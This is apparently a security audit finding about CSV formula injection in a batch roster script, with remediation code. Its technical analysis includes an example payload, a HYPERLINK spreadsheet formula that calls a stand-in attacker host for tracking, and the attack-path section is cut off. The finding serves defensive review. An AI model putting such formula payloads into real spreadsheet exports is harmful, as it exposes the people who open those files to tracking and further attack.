T09 · Insecure Skill Coding Practices
Warning
- Location
- scripts/batch_roster.py:159
- Finding
- CSV Formula Injection in Batch Roster Summary## Vulnerability Details **File Location**: `scripts/batch_roster.py`, lines 159–163 **Vulnerability Type**: CSV formula injection and improper CSV serialization **Risk Level**: Medium ### Vulnerable Code ```python (out_dir / "_summary.csv").write_text( "\n".join(["index,name,status,html"] + [ f"{x['index']},{x['name']},{x['status']},{x['html']}" for x in summary["students"] ]), encoding="utf-8-sig") ``` ### Technical Analysis The `name` field originates from a user-supplied CSV or JSON roster and is copied directly into `_summary.csv`. The code does not use a proper CSV serializer and does not neutralize values beginning with spreadsheet formula characters such as `=`, `+`, `-`, or `@`. When the generated file is opened in spreadsheet software, a malicious student name may be interpreted as a formula rather than plain text. For example: ```text =HYPERLINK("https://attacker.example/track","Student") ``` The manual comma-joining logic also fails to quote fields containing commas, double quotes, carriage returns, or newlines. Such input can alter the CSV structure, create additional cells or rows, and place attacker-controlled formulas in unintended columns. The subprocess invocation used elsewhere in this workflow is not the vulnerable component: it passes an argument list without `shell=True`. The vulnerability occurs when untrusted roster data is serialized into a spreadsheet-compatible file. ### Attack Path 1. An attacker creates or modifies a roster entry whose `name` starts with a spreadsheet formula prefix. 2. A teacher or administrator runs `scripts/batch_roster.py` with that roster. 3. `load_roster()` accepts the value and stores it in `summary["students"]`. 4. Lines 159–163 write the value unchanged into `_summary.csv`. 5. The victim opens `_summary.csv` in spreadsheet software. 6. The spreadsheet may evaluate the malicious cell as a formula. 7. Depending on the spreadsheet application and security configuration, the formula ma ...[truncated 983 chars]
- Remediation
- ## Remediation Suggestions Use Python's `csv.writer` rather than constructing CSV rows through string interpolation. This ensures that commas, quotes, and line breaks are serialized correctly. Apply a spreadsheet-safe encoding policy to every untrusted textual cell. Before serialization, neutralize values whose first non-whitespace character is `=`, `+`, `-`, or `@`. Prefixing such values with an apostrophe is a common mitigation, although compatibility with supported spreadsheet applications should be tested and documented. Example hardening approach: ```python def spreadsheet_safe(value): text = str(value) if text.lstrip().startswith(("=", "+", "-", "@")): return "'" + text return text with (out_dir / "_summary.csv").open( "w", encoding="utf-8-sig", newline="" ) as output: writer = csv.writer(output) writer.writerow(["index", "name", "status", "html"]) for student in summary["students"]: writer.writerow([ student["index"], spreadsheet_safe(student["name"]), student["status"], spreadsheet_safe(student["html"]), ]) ``` Additionally: 1. Apply the mitigation to every attacker-influenced CSV field, not only `name`. 2. Add regression tests covering formula prefixes, commas, quotes, CR/LF characters, and leading whitespace before formula prefixes. 3. Document that roster files are untrusted input. 4. If spreadsheet interoperability is unnecessary, consider producing JSON only or an explicitly text-oriented format.